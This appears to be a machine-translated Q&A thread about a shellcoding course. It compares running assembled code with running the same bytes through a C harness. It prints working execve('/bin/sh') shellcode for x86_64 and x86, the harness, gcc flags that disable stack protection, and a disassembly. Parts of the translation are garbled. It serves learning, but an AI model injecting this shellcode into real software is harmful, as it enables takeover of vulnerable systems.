运行汇编程序与运行shellcode.c反汇编代码的区别

Difference between running an assembly program and running the disassembled code in shellcode.c

我目前正在学习“Pentester Academy 的 x86_64 汇编语言和 Shellcoding Linux”课程 (www.pentesteracademy.com/course?id=7)。我有一个我不太明白的简单问题:运行 与 NASMld 组装并链接的汇编程序与 [= 之间的确切区别是什么36=]经典shellcode.c程序中的同一个反汇编程序(写在下面)。为什么要使用一种方法而不是另一种方法?

例如,当遵循第一种方法时,我使用命令:

nasm -f elf64 -o execve_stack.o execve_stack.asm
ld -o execve_stack execve_stack.o
./execve_stack

使用第二种方法时,我在shellcode.c程序中插入反汇编的shellcode:

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

int main(void) {

    printf("Shellcode length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();

    return 0;
}

...并使用命令:

gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
./shellcode

我在GDB中分析了这两个程序,发现某些寄存器中存储的地址不同。我还阅读了以下问题 (C code explanation) 的答案,这有助于我理解 shellcode.c 程序的工作方式。话虽如此,我仍然不完全理解这两种方法的确切区别。

这两种方法在理论上没有区别。在两者中,您最终都会在处理器上执行一堆汇编指令。

shellcode.c 程序只是为了演示如果您 运行 将程序集定义为 unsigned char code[] 变量中的字节数组会发生什么。

Why use one method over the other?

我认为你不理解 shell 代码的目的和 shellcode.c 程序背后的推理(为什么它显示任意字节序列 你have control on 在处理器上执行)。

shell代码是一小段汇编代码,用于利用软件漏洞。攻击者通常利用 buffer overflows 等常见编程错误将 shell 代码注入软件,然后尝试让软件执行注入的 shell 代码。

一篇很好的文章显示了如何通过执行 shell 使用缓冲区溢出的代码注入来生成 shell 的分步教程 here

这是经典的 shell 代码 \x83\xec\x48\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 在汇编程序中的样子:

sub esp, 72
xor eax, eax
xor edx, edx
push eax
push 0x68732f2f    ; "hs//" (/ is doubled because you need to push 4 bytes on the stack)
push 0x6e69622f    ; "nib/"
mov ebx, esp       ; EBX = address of string "/bin//sh"
push eax
push ebx
mov ecx, esp
mov al, 0xb        ; EAX = 11 (which is the ID of the sys_execve Linux system call)
int 0x80

在 x86 环境中,这会使用“/bin/sh”字符串作为参数进行 execve 系统调用。